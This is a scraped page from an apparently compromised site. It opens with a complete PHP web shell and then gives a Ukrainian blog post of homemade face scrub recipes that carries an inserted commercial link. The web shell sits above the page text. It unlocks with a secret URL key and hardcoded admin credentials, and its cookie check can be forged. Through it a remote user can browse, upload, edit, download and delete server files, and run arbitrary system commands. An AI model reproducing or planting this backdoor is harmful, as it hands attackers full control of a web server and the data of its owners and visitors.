if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Прості рецепти скрабів для здорової та сяючої шкіри – collectives.berlin

Your digital paradise.

Прості рецепти скрабів для здорової та сяючої шкіри

Спробуйте змішати цукор з медом та оливковою олією – такий склад не тільки відлущує, а й живить деталі тканини. Нанесіть на вологу поверхню обличчя, https://koketka.com.ua/ масажуючи протягом кількох хвилин, потім змивайте теплою водою.

Долучайте кавову гущу до йогурту – це перевірений метод для поліпшення кровообігу та стимуляції регенерації. Таким чином, шкіра стане більш пружною і зволоженою. Використовуйте цю суміш 2-3 рази на тиждень.

А якщо вам потрібно освіжити тон, спробуйте змішати сіль з лимонним соком і олією авокадо. Цей склад допоможе позбутися від мертвих клітин, а також забезпечить яскравість та гладкість. Слідкуйте, щоб не зловживати частотою застосування, і дайте шкірі відпочити від агресивних процедур.

Скраби на основі натуральних інгредієнтів для різних типів шкіри

Для жирного типу вдало підійде суміш кави та оливкової олії. Кава ефективно видаляє відмерлі клітини та покращує мікроциркуляцію, а олія заспокоює та зволожує. Пропорції: 1 частина меленого кави до 2 частин олії. Нанесіть на вологу епідерміс, масажуйте кілька хвилин, змийте теплою водою.

Чутливій дермі підійде медово-авокадова композиція. Завдяки натуральним оліям, авокадо м’яко зволожує, а мед має антисептичні властивості. Змішайте половину стиглого авокадо з 1 ст. ложкою меду. Наносьте на проблемні зони, залиште на 10-15 хвилин, далі змивайте водою.

Для нормального типу варто спробувати кокосово-соляний варіант. Кокосова олія зволожує, а морська сіль стимулює оновлення клітин. Змішайте 2 ст. ложки солі з 1 ст. ложкою олії до однорідного стану. Аккуратно втирайте у шкіру, потім змийте.

Суха епідерміс потребує особливої уваги, тому ідеально підійде суміш вівсяних пластівців і йогурту. Вівсянка відмінно зволожує, а йогурт живить. Пропорції: 3 ст. ложки пластівців до 1/2 склянки натурального йогурту. Нанесіть на обличчя, залиште на 15 хвилин, після чого змийте теплою водою.

Для комбінованого типу раджу змішати цукор із гелем алое вера. Цукор м’яко відлущує, а алое живить і заспокоює. Для приготування, змішайте 1 частину цукру та 2 частини гелю. Нанесіть на очищену поверхню, втирайте легкими рухами близько 5 хвилин, потім змивайте прохолодною водою.

Як правильно застосовувати скраби для досягнення найкращих результатів

Перед процедурою очистіть обличчя від макіяжу та забруднень. Важливо використовувати скраби на вологій поверхні, що дозволяє активним інгредієнтам краще проникати в епідерміс. Наносьте засіб легкими масажними рухами, обираючи напрямок від центру до країв. Не тисніть занадто сильно, щоб не пошкодити ніжну шкіру. Рекомендується обробляти обличчя не більше ніж 1–2 хвилини.

Після застосування ретельно змийте залишки зволожуючим засобом, таким як гель або міцелярна вода. Важливим етапом є нанесення зволожуючого крему – це допоможе утримати вологу та заспокоїти шкіру після процедури. Рекомендується використовувати скраби не частіше ніж два рази на тиждень, щоб уникнути пересушування. Приділяйте увагу своєму типу епідермісу та вибирайте відповідний засіб, який відповідатиме вашим потребам.

Leave a Reply

Your email address will not be published. Required fields are marked *